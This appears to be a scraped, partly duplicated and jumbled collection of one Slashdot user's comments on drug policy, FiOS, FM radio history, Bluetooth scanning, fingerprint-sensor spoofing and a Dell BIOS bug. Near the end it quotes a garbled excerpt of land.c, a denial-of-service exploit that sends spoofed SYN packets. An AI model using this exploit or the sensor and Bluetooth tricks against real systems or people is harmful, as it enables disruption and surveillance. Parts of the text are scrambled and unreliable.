"The powers not delegated to the United States by the Constitution, nor prohibited by it to the States, are reserved to the States respectively, or to the people."
For starters, there is the ongoing medical marijuana debate. A bunch of states currently allow for the use of medical marijuana in their state. Federal law still has marijuana in the Schedule I category which means it has no medical use, so feds arrest users. Medical marijuana is an easy one, as so many medical organizations support it.
The current drug czar also uses federal funds to campaign and lobby against drug laws reform at the state level.
The federal government also recently passed a spending bill which "would take away federal grants from local and state transportation authorities that allow citizens to run advertising on buses, trains, or subways in support of reforming our nation's drug laws".
Here is a quote from an article regarding assisted suicide, and the federal government's attempts to stop it by invoking drug laws: "Ashcroft... invoked the federal Controlled Substances Act, a law aimed at drug traffickers, and threatened to use it against physicians who prescribe drugs to help patients end their lives."
There are many other arguments to stop the drug war of course.. our constitution gives us the right to freedom of speech, which presupposes freedom of thought. Many drugs allow us to change how we think, so they should not be banned by the government. The Center for Cognitive Liberty and Ethics makes this argument, which I personally find quite compelling.
I'm glad you asked this question, and hope I have given you some ideas to think about.
The point isn't that our government is like Hitler's. The point is that people enjoy rallying together and will often do so regardless of where their ideas sit on the good/evil spectrum. Its a type of group behavior that we as social animals exhibit. People will often give up their own individuality for the group. That is a simplification of course, but the basic idea is true. Group behavior can be very dangerous. I imagine it would be pretty hard to not think like a Nazi were one raised in Germany during The Third Reich. Psychologically, for the individual, it was probably pretty fun and 'patriotic feeling' to be a Nazi.
There has been some work to prevent the use of fake fingers in biometric devices. One I have read about is checking the resistance of the object placed on the scanner to be sure it matches the known resistance of skin. Resistance can be forged of course, but it is an extra layer in the system.
Some systems have been so weak that you can simply breatheon them to cause moisture condensation - which in turn causes the device to believe the last finger has been placed on it again!
That's actually the first book I read on the subject too, it's really great I agree. The logic problem you refer to is modus tollens, "mode that denies" and people do find it extremely difficult.
Here is a rule.. if there is an E on one side of a card, there is a 5 on the back. The fronts of cards have letters and the backs all have numbers. What cards must you turn over (minimum) to prove the rule?
Here are the cards as you see them on the table:
N 5 9 E
Modus tollens is also called proof by contrapositive which could be a hint for solving this problem.
...the researchers found that our learning process was similar to other biological organisms....
That makes perfect sense, seeing as our brains evolved from other biological organisms.
Check out evolutionary psychology for some information. You'll view the world differently afterwards.
Evolutionary psychology (or EP) proposes that human and primate cognition and behavior could be better understood by examining them in light of human and primate evolutionary history... The idea that organisms are machines that are designed to function in particular environments was argued by William Paley (who, in turn, drew upon the work of many others).
Not sure if anyone is still watching this thread but just in case... I just finished speaking to Verizon, and indeed, fiber has become available for me today! They will be installing it on the 11th of July - very impressive. It's an all day installation, taking 8 hours possibly, and they will replace all the old copper from the street with fibers. The backup battery lasts 2 days, or 4-6 hours of talking on the phone (I don't think the net will work on battery).
They also told me that there will be a TV package coming over the fiber soon, and to "ease the transition" they are offering satellite in partnership with DirectTV for the time being, so I could stop cable totally if I wanted. Of course I don't watch any TV so I didn't care for this but it is interesting business.
Very exciting.. I've been waiting many years for this:)
The reason phones wouldn't work in a power outage is you can only put light over fiber, and phones use electricity. There is the battery but that will last for about 8 hours from what I hear. I wonder if ONTs will become more energy efficient..
Cablevision isn't just doing this to be nice. Verizon is set to launch FiOS (Fiber Optic Service) in the area very shortly. In NJ they have been stringing fibers for the last few months.. I actually called them today and they told me I would be able to order fiber possibly as early as tomorrow. I'm currently an Optimum Online subscriber and am definitely going to be switching over ASAP.
Their pricing plan is pretty good:
Down/Up Up to 5 Mbps/2 Mbps $39.95 Up to 15 Mbps/2 Mbps $49.95 Up to 30 Mbps/5 Mbps 199.95
The number direct to the FiOS center is: 908-474-9728 Verizon doesn't publicize it yet, but the people who answer do have access to a database telling them which switches are going live and when. Today when I called, I told asked if I was going to have service in my small town.. when he said no, I told him the local switch which served us (obtainable via Local Exchange Routing Guide). He acted very surprised and said that indeed we would have FiOS activated very soon now.
Of course this was obvious as Verizon has spent $$$ wiring fiber everywhere which should be the next big thing(tm). They even replace the normal copper wires going to your house with fiber (doesn't work in a power outage though! I hope nobody gets upset about 911;) Or is it okay for fiber not to work during power outages as it is Verizon who supplies it rather than some upstart VoIP business that doesn't have the lobbying power that incumbent telcos do...?) If you have a pair of binoculars you can check out your poles and look for the little Corning boxes.
Norway can afford to do what it wants. They are very rich (being one of the largest oil and gas producers in the world helps), and aren't even in the European Union nor do they use the Euro. The Norwegians I know are also very well educated, and tons of good software comes from.no as well.
Their drug laws aren't as terrible as those we have in the United States either, nor do they have the death penalty, etc etc..
Funny, I just wrote a report on this for a class.. I'm posting this too late for it to be moderated I think, but I hope someone reads it:
On June 27, 1945, the FCC moved the FM band to 88-106 MHz. It has originally occupied the 42-50 MHz band. This may appear to be only a small change, but the story behind it is immense. Edwin H. Armstrong had invented frequency modulation in the early 1930s (it was patented in 1933, and his paper, "A Method of Reducing Disturbances in Radio Signal by a System of Frequency Modulation" was presented in New York before the Institute of Radio Engineers on November 6, 1935), and lobbied the FCC for the FM band, which they placed at 42-50 MHz. He formed the Yankee Network, which was his attempt to commercialize his invention and profit from his genius. 40,000 receivers were in use in the northeast United States. According to Armstrong at the time, it would cost $75 million to convert the receivers and the 55 currently operating transmitters to the new frequencies. Sadly, the FCC yielded to Sarnoff and RCA's attempts to move FM's assigned radio spectrum. RCA was more interested in television at the time, and the FCC, to add insult to injury, also allocated them television channels in the 40 MHz range. Armstrong died a broken and penniless man, as he did not even earn royalties for FM, despite the fact that television sound is modulated in FM - he committed suicide in 1954 by jumping from his 13th floor apartment. Time proved his case in the end however, as his wife fought RCA in court, and won a patent battle against them in 1967.
Tuesday morning, DirectTV is going to be putting up a new bird, the Spaceway 1.
"After a checkout period, Spaceway 1 will go into service this summer to begin DIRECTV's new program offering for both national and local high-definition channels to its customers across the United States. It will later be joined by three other satellites to fully implement the system by 2007."
"By 2007, the number of high-definition channels will be expanded to over 1,500, and DIRECTV says its next-generation services will be able to reach every U.S. household."
"Spaceway 1 carries a two-meter transmit antenna with full steering ability that can form multiple spot beams to customize programming in different regions of the country. This communications payload has a total bandwidth capacity of about 10 gigabytes per second."
I find this preferable to our government's enforced upgrades, although I can see the arguments for more efficient bandwidth usage.
"The Jacks began searching for the source of our laser, which they shortly found but could not shut off without risking costly damage to MIT equipment."
Here's a little article from @Stake about Bluetooth, as well as some other insecurities.
I believe that even if the phone is in 'hidden' mode, on some models, one can still find a user's address by testing out every address. Redfang does that. This is brute force however and quite slow. In fact it could take up to a few years, as it takes about 20 seconds per address.
One thing I noticed while living in an apartment and playing with Bluetooth.. it is possible to tell when other people are in their homes or not. I was tempted to make a little app and compile statistics as to when/where people came and left, but then I remembered I wasn't the US federal government;)
There are a bunch of other programs available to the Googler.
In general, these features don't seem coded to well. Here's a post I made to Bugtraq back in December of 2003.
The Dell BIOS allows users to set several different passwords to protect their machines from unauthorised access. There is 1) a Setup Password, which is required to enter the BIOS setup, as well as 2) a Hard Drive Password, as per the ATA Security Feature Set Specification.
Unfortunately, once a Hard Drive Password is set which contains one or more of the following characters,
, . ; : ' [ ] { }
it can not be later entered to access the machine. It appears as though a bug in the BIOS code prevents those characters from being taken as input when the user is asked for the password - however, the BIOS incorrectly allows users to set passwords containing those characters.
This is not an incredibly serious problem as such, since a user can go back into the BIOS setup and change the password there, provided the BIOS Setup is not protected with an unknown password. Or, as a last resort, Dell can be phoned to provide a master backdoor password, as long as the user can prove herself the legal owner of the computer. Of course, the prerequisite of physical access to the machine highly mitigates this vulnerability.
It is however an interesting bug from the point of view of Dell's practices. I have contacted them over two weeks ago, but their 'technical support' is unable to understand or resolve the problem. Two of their representatives told me to reinstall Windows XP Chipset drivers, even when I asked to be forwarded to people higher in the technical support chain. Perhaps this post will encourage Dell to pay more attention in the future.
Affected Systems: Dell Inspiron 2650 System BIOS, A11 (A11 is the current BIOS as of writing, and was released in late September of this year) Other BIOS/Dell models are perhaps vulnerable but have not been tested.
Re:different countries, different laws.
on
VoIP Wiretapping
·
· Score: 1
check [] to place bits onto the wire by hand (cpu microcode may be compromised)
Security through obsecurity doesn't work. Here's the important part of the source:) Basically it just sends a SYN packet which has the target's address as the source and the destination (same port as well).
Well, Go++ sells for $39.95 at http://www.goplusplus.com/ and Goemate is $60.00 from http://www.wulu.com/sale.htm - so, indeed, they are selling their software as a business, with the goal of profit. I agree the distinction between proprietary and commercial software is important, but these programs are both commercial.
Slashdot Mirror
"The powers not delegated to the United States by the Constitution, nor prohibited by it to the States, are reserved to the States respectively, or to the people."
For starters, there is the ongoing medical marijuana debate. A bunch of states currently allow for the use of medical marijuana in their state. Federal law still has marijuana in the Schedule I category which means it has no medical use, so feds arrest users.
Medical marijuana is an easy one, as so many medical organizations support it.
The current drug czar also uses federal funds to campaign and lobby against drug laws reform at the state level.
The federal government also recently passed a spending bill which "would take away federal grants from local and state transportation authorities that allow citizens to run advertising on buses, trains, or subways in support of reforming our nation's drug laws".
Here is a quote from an article regarding assisted suicide, and the federal government's attempts to stop it by invoking drug laws: "Ashcroft... invoked the federal Controlled Substances Act, a law aimed at drug traffickers, and threatened to use it against physicians who prescribe drugs to help patients end their lives."
There are many other arguments to stop the drug war of course.. our constitution gives us the right to freedom of speech, which presupposes freedom of thought. Many drugs allow us to change how we think, so they should not be banned by the government. The Center for Cognitive Liberty and Ethics makes this argument, which I personally find quite compelling.
I'm glad you asked this question, and hope I have given you some ideas to think about.
The point isn't that our government is like Hitler's. The point is that people enjoy rallying together and will often do so regardless of where their ideas sit on the good/evil spectrum. Its a type of group behavior that we as social animals exhibit. People will often give up their own individuality for the group. That is a simplification of course, but the basic idea is true. Group behavior can be very dangerous. I imagine it would be pretty hard to not think like a Nazi were one raised in Germany during The Third Reich. Psychologically, for the individual, it was probably pretty fun and 'patriotic feeling' to be a Nazi.
You are quite correct about the war on drugs. Thanks for pointing it out, as it doesn't get mentioned enough on Slashdot.
There has been some work to prevent the use of fake fingers in biometric devices. One I have read about is checking the resistance of the object placed on the scanner to be sure it matches the known resistance of skin. Resistance can be forged of course, but it is an extra layer in the system.
Some systems have been so weak that you can simply breatheon them to cause moisture condensation - which in turn causes the device to believe the last finger has been placed on it again!
That's actually the first book I read on the subject too, it's really great I agree.
The logic problem you refer to is modus tollens, "mode that denies" and people do find it extremely difficult.
Here is a rule.. if there is an E on one side of a card, there is a 5 on the back. The fronts of cards have letters and the backs all have numbers. What cards must you turn over (minimum) to prove the rule?
Here are the cards as you see them on the table:
N 5 9 E
Modus tollens is also called proof by contrapositive which could be a hint for solving this problem.
...the researchers found that our learning process was similar to other biological organisms....
That makes perfect sense, seeing as our brains evolved from other biological organisms.
Check out evolutionary psychology for some information. You'll view the world differently afterwards.
Evolutionary psychology (or EP) proposes that human and primate cognition and behavior could be better understood by examining them in light of human and primate evolutionary history... The idea that organisms are machines that are designed to function in particular environments was argued by William Paley (who, in turn, drew upon the work of many others).
Yup :)
Not sure if anyone is still watching this thread but just in case... I just finished speaking to Verizon, and indeed, fiber has become available for me today! They will be installing it on the 11th of July - very impressive. It's an all day installation, taking 8 hours possibly, and they will replace all the old copper from the street with fibers. The backup battery lasts 2 days, or 4-6 hours of talking on the phone (I don't think the net will work on battery).
:)
They also told me that there will be a TV package coming over the fiber soon, and to "ease the transition" they are offering satellite in partnership with DirectTV for the time being, so I could stop cable totally if I wanted. Of course I don't watch any TV so I didn't care for this but it is interesting business.
Very exciting.. I've been waiting many years for this
Sounds lovely. This is the future.
A FC_FiberDirect_Overview(1).pdf
The reason phones wouldn't work in a power outage is you can only put light over fiber, and phones use electricity. There is the battery but that will last for about 8 hours from what I hear. I wonder if ONTs will become more energy efficient..
Here's some data for AFC's AccessMAX 610x which FiOS uses,
https://www.afc.com/documents/literature_library/
Cablevision isn't just doing this to be nice. Verizon is set to launch FiOS (Fiber Optic Service) in the area very shortly. In NJ they have been stringing fibers for the last few months.. I actually called them today and they told me I would be able to order fiber possibly as early as tomorrow. I'm currently an Optimum Online subscriber and am definitely going to be switching over ASAP.
;) Or is it okay for fiber not to work during power outages as it is Verizon who supplies it rather than some upstart VoIP business that doesn't have the lobbying power that incumbent telcos do...?) If you have a pair of binoculars you can check out your poles and look for the little Corning boxes.
Their pricing plan is pretty good:
Down/Up
Up to 5 Mbps/2 Mbps $39.95
Up to 15 Mbps/2 Mbps $49.95
Up to 30 Mbps/5 Mbps 199.95
The number direct to the FiOS center is: 908-474-9728
Verizon doesn't publicize it yet, but the people who answer do have access to a database telling them which switches are going live and when. Today when I called, I told asked if I was going to have service in my small town.. when he said no, I told him the local switch which served us (obtainable via Local Exchange Routing Guide). He acted very surprised and said that indeed we would have FiOS activated very soon now.
Of course this was obvious as Verizon has spent $$$ wiring fiber everywhere which should be the next big thing(tm). They even replace the normal copper wires going to your house with fiber (doesn't work in a power outage though! I hope nobody gets upset about 911
I spent a few days in Norway last year (Fredrikstad, Oslo, and Bjørkelangen) and it is really a beautiful and well developed nation.
a p o untry.cfm?id=Norway
.no as well.
Check out their GDP per capita: http://www.nationmaster.com/graph-T/eco_gdp_ppp_c
Index of Economic Freedom is good too, although a bit socialist:
http://www.heritage.org/research/features/index/c
Norway can afford to do what it wants. They are very rich (being one of the largest oil and gas producers in the world helps), and aren't even in the European Union nor do they use the Euro. The Norwegians I know are also very well educated, and tons of good software comes from
Their drug laws aren't as terrible as those we have in the United States either, nor do they have the death penalty, etc etc..
Funny, I just wrote a report on this for a class.. I'm posting this too late for it to be moderated I think, but I hope someone reads it:
On June 27, 1945, the FCC moved the FM band to 88-106 MHz. It has originally occupied the 42-50 MHz band. This may appear to be only a small change, but the story behind it is immense. Edwin H. Armstrong had invented frequency modulation in the early 1930s (it was patented in 1933, and his paper, "A Method of Reducing Disturbances in Radio Signal by a System of Frequency Modulation" was presented in New York before the Institute of Radio Engineers on November 6, 1935), and lobbied the FCC for the FM band, which they placed at 42-50 MHz. He formed the Yankee Network, which was his attempt to commercialize his invention and profit from his genius. 40,000 receivers were in use in the northeast United States. According to Armstrong at the time, it would cost $75 million to convert the receivers and the 55 currently operating transmitters to the new frequencies. Sadly, the FCC yielded to Sarnoff and RCA's attempts to move FM's assigned radio spectrum. RCA was more interested in television at the time, and the FCC, to add insult to injury, also allocated them television channels in the 40 MHz range. Armstrong died a broken and penniless man, as he did not even earn royalties for FM, despite the fact that television sound is modulated in FM - he committed suicide in 1954 by jumping from his 13th floor apartment. Time proved his case in the end however, as his wife fought RCA in court, and won a patent battle against them in 1967.
Tuesday morning, DirectTV is going to be putting up a new bird, the Spaceway 1.
"After a checkout period, Spaceway 1 will go into service this summer to begin DIRECTV's new program offering for both national and local high-definition channels to its customers across the United States. It will later be joined by three other satellites to fully implement the system by 2007."
"By 2007, the number of high-definition channels will be expanded to over 1,500, and DIRECTV says its next-generation services will be able to reach every U.S. household."
"Spaceway 1 carries a two-meter transmit antenna with full steering ability that can form multiple spot beams to customize programming in different regions of the country. This communications payload has a total bandwidth capacity of about 10 gigabytes per second."
I find this preferable to our government's enforced upgrades, although I can see the arguments for more efficient bandwidth usage.
More info
"The Jacks began searching for the source of our laser, which they shortly found but could not shut off without risking costly damage to MIT equipment."
Anyone know how this is so?
Johannes Erdfelt wrote the advisory that jizz, erect, etc. were based off of. Nice programs they were.
Here's a little article from @Stake about Bluetooth, as well as some other insecurities.
;)
I believe that even if the phone is in 'hidden' mode, on some models, one can still find a user's address by testing out every address. Redfang does that. This is brute force however and quite slow. In fact it could take up to a few years, as it takes about 20 seconds per address.
One thing I noticed while living in an apartment and playing with Bluetooth.. it is possible to tell when other people are in their homes or not. I was tempted to make a little app and compile statistics as to when/where people came and left, but then I remembered I wasn't the US federal government
There are a bunch of other programs available to the Googler.
Reread the first line of my post. :)
Also read the changelog of the bios file.
Thanks lamer
Well, after posting that to Bugtraq, a senior Dell technician contacted me within a few hours.. and they finally did patch it as well.
In general, these features don't seem coded to well. Here's a post I made to Bugtraq back in December of 2003.
The Dell BIOS allows users to set several different passwords to protect
their machines from unauthorised access. There is 1) a Setup Password,
which is required to enter the BIOS setup, as well as 2) a Hard Drive
Password, as per the ATA Security Feature Set Specification.
Unfortunately, once a Hard Drive Password is set which contains one or
more of the following characters,
, . ; : ' [ ] { }
it can not be later entered to access the machine. It appears as though
a bug in the BIOS code prevents those characters from being taken as
input when the user is asked for the password - however, the BIOS
incorrectly allows users to set passwords containing those characters.
This is not an incredibly serious problem as such, since a user can go
back into the BIOS setup and change the password there, provided the
BIOS Setup is not protected with an unknown password. Or, as a last
resort, Dell can be phoned to provide a master backdoor password, as
long as the user can prove herself the legal owner of the computer. Of
course, the prerequisite of physical access to the machine highly
mitigates this vulnerability.
It is however an interesting bug from the point of view of Dell's
practices. I have contacted them over two weeks ago, but their
'technical support' is unable to understand or resolve the problem. Two
of their representatives told me to reinstall Windows XP Chipset
drivers, even when I asked to be forwarded to people higher in the
technical support chain. Perhaps this post will encourage Dell to pay
more attention in the future.
Affected Systems: Dell Inspiron 2650 System BIOS, A11
(A11 is the current BIOS as of writing, and was released in late
September of this year)
Other BIOS/Dell models are perhaps vulnerable but have not been tested.
check [] to place bits onto the wire by hand (cpu microcode may be compromised)
I'd say that Windows 2003 and XP SP2 fit the definition of malware more land.c does.
:P
Afterall, land.c still works and it's almost 8 years old now! Can't say the same about versions of windows which are that old
Security through obsecurity doesn't work. Here's the important part of the source :) Basically it just sends a SYN packet which has the target's address as the source and the destination (same port as well).
z eof(struct iphdr)/4;t tl=255;d dr=sin.sin_addr.s_addr;a ddr.s_addr;
h _dport=sin.sin_port;1 C);f f=sizeof(struct tcphdr)/4;
. s_addr;_ addr;g th=htons(sizeof(struct tcphdr));
---snip---
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=si
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->
ipheader->protocol=IP_TCP;
ipheader->sa
ipheader->daddr=sin.sin_
tcpheader->th_sport=sin.sin_port;
tcpheader->t
tcpheader->th_seq=htonl(0xF
tcpheader->th_flags=TH_SYN;
tcpheader->th_o
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr
pseudoheader.daddr.s_addr=sin.sin_addr.s
pseudoheader.protocol=6;
pseudoheader.len
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
---snip---
I mean Go++, not Gnu Go. :)
Ahh, I see your point now :) So would that make Go++ software proprietary and commercial?
Well, Go++ sells for $39.95 at http://www.goplusplus.com/ and Goemate is $60.00 from http://www.wulu.com/sale.htm - so, indeed, they are selling their software as a business, with the goal of profit. I agree the distinction between proprietary and commercial software is important, but these programs are both commercial.